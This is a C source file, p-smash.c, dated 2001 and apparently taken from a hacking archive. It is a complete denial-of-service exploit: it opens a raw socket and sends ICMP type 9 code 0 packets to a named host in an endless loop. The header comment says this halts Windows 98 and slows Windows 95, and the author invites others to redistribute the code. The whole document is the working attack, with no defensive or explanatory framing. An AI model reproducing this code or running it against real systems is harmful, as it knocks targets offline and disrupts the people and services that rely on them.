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- /*
- * p-smash.c
- *
- * Author:
- * Paulo Ribeiro <prrar@nitnet.com.br>
- * Rio de Janeiro, RJ, Brazil - January, 2001
- *
- * Results:
- * While running this program, the target system will be halted or
- * will get too slow.
- *
- * Message from ipchains:
- * Jan 26 17:42:22 host kernel: Packet log: input ACCEPT eth0 PROTO=1
- * 192.168.0.2:9 192.168.0.1:0 L=84 S=0x00 I=33619 F=0x0000 T=64 (#5)
- *
- * Systems affected:
- * Microsoft Windows 95 - slows down
- * Microsoft Windows 98 - halts
- * Any other?
- *
- * Why:
- * Seems that Microsoft Windows 98 can't handle with a ICMP packet with
- * type 9 and code 0.
- *
- * Yes, you can modify and redistribute this program, but keep my name on it.
- */
-
- #include <errno.h>
- #include <netdb.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <unistd.h>
- #include <sys/time.h>
- #include <sys/param.h>
- #include <sys/socket.h>
- #include <sys/file.h>
- #include <netinet/in.h>
- #include <netinet/ip.h>
- #include <netinet/ip_icmp.h>
- #include <netinet/in_systm.h>
-
- #define MAXPACKET 4096
-
- int s;
- int ident;
-
- struct sockaddr whereto;
-
- void send_pkt(int argc, char *argv[]);
-
- int main(int argc, char *argv[])
- {
- char *hostname;
- char *inet_ntoa();
- char *toaddr = NULL;
- char hnamebuf[MAXHOSTNAMELEN];
-
- struct sockaddr_in *to = (struct sockaddr_in *) &whereto;
- struct hostent *hp;
- struct protoent *proto;
-
- if (argc != 2)
- {
- fprintf(stderr,"Usage: %s <hostname>\n", argv[0]);
- exit(1);
- }
-
- bzero((char *)&whereto, sizeof(struct sockaddr));
- to->sin_family = AF_INET;
- to->sin_addr.s_addr = inet_addr(argv[1]);
- if (to->sin_addr.s_addr != -1)
- {
- strcpy(hnamebuf, argv[1]);
- hostname = hnamebuf;
- }
- else
- {
- hp = gethostbyname(argv[1]);
- if (hp)
- {
- to->sin_family = hp->h_addrtype;
- bcopy(hp->h_addr, (caddr_t)&to->sin_addr, hp->h_length);
- hostname = hp->h_name;
- toaddr = inet_ntoa(to->sin_addr.s_addr);
- }
- else
- {
- printf("p-smash: unknown host %s\n", argv[1]);
- exit(1);
- }
- }
-
- ident = getpid() & 0xFFFF;
-
- if ((proto = getprotobyname("icmp")) == NULL)
- {
- fprintf(stderr, "p-smash: icmp: unknown protocol\n");
- exit(1);
- }
- if ((s = socket(AF_INET, SOCK_RAW, proto->p_proto)) < 0)
- {
- perror("p-smash: socket");
- exit(1);
- }
-
- setlinebuf(stdout);
-
- printf("Sending packets to %s... ", hostname);
- fflush(stdout);
-
- for (;;)
- send_pkt(argc, argv);
-
- exit(0);
- }
-
- void send_pkt(int argc, char *argv[])
- {
- static unsigned char outpack[MAXPACKET];
- struct icmp *icp = (struct icmp *) outpack;
-
- int ntransmitted = 0;
-
- icp->icmp_type = 9; // here
- icp->icmp_code = 0; // it is
- icp->icmp_seq = ntransmitted++;
- icp->icmp_id = ident;
- icp->icmp_cksum = in_cksum(icp, 64);
-
- sendto(s, outpack, 64, 0, &whereto, sizeof(struct sockaddr));
- }
-
- in_cksum(unsigned short *addr, int len)
- {
- register int nleft = len;
- register unsigned short *w = addr;
- register unsigned short answer;
- register int sum = 0;
- unsigned short odd_byte = 0;
-
- while (nleft > 1)
- {
- sum += *w++;
- nleft -= 2;
- }
-
- if (nleft == 1)
- {
- *(unsigned char *)(&odd_byte) = *(unsigned char *)w;
- sum += odd_byte;
- }
-
- sum = (sum >> 16) + (sum & 0xffff);
- sum += (sum >> 16);
- answer = ~sum;
-
- return(answer);
- }
-
- /*
- * p-smash.c: EOF
- */
- /* www.hack.co.za [5 March 2001]*/